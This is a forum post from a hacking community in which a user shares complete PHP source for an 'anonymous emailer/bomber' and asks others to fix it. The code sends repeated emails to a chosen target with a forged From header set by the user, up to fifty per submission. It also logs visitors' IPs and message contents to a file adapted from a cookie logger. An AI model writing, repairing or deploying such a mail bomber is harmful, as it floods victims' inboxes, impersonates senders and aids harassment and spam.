Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.
php mail bomber
edit: its working now. the code is fine, its just being stupid. guess i spammed too much.
i had just finished my anonymous emailer/bomber and it was working for a bit, but for some reason it stopped. i dont think i made any changes to the code, but i may have. could someone correct the code for me?
<html>
<head>
<title>
PHP Anon-emailer
</title>
</head>
<body bgcolor="000000">
<center>
<?php
if (isset($_POST['to'])) {
// sets variables blahblahblah
$to=$_POST["to"];
$subject=$_POST["subject"];
$body=$_POST["body"];
$number=$_POST["number"];
$header="From: " . $_POST["from"];
// limits the number of emails to 50, just cause this is public
if ($number>50)
{
$number = 50;
}
// this is a modified version of the cookie logger in the code bank
$date=date("j F, Y, g:i a");
$ip = getenv ('REMOTE_ADDR');
$fp = fopen('cookies.htm', 'a');
fwrite($fp, 'IP: ' .$ip. '<br />Date and Time: ' .$date. '<br />Target: ' . $to . '<br />Sender: ' . $header . '<br />Amount: ' . $number . '<br /> Body: ' . $body . '<br /><br /><br />');
fclose($fp);
// the bombing code
for ($i=1; $i<=$number; $i++)
{
mail($to,$subject,$body,$header);
}
echo "<font color=FFFFFF>Your email was sent to $to $header $number time(s).<br>";
}
else { }
?>
<font color=FFFFFF>
<form action="testing.php" method="post">
Target:<br>
<input type="text" name="to" size="50"><br><br>
Subject:<br>
<input type="text" name="subject" size="50"><br><br>
Body:<br>
<textarea cols="38" rows="10" name="body"></textarea><br><br>
Sender:<br>
<input type="text" name="from" size="50"><br><br>
Number:<br>
<input type="text" name="number" size="50"><br><br>
<input type="submit" value="Send!">
</form>
</center>
</body>
</html>
for some reason, it does print the "Your email was sent to $to $header $number time(s)." even though it doesnt actually send the emails.
and yes, this is on testing.php, so it is sending to itself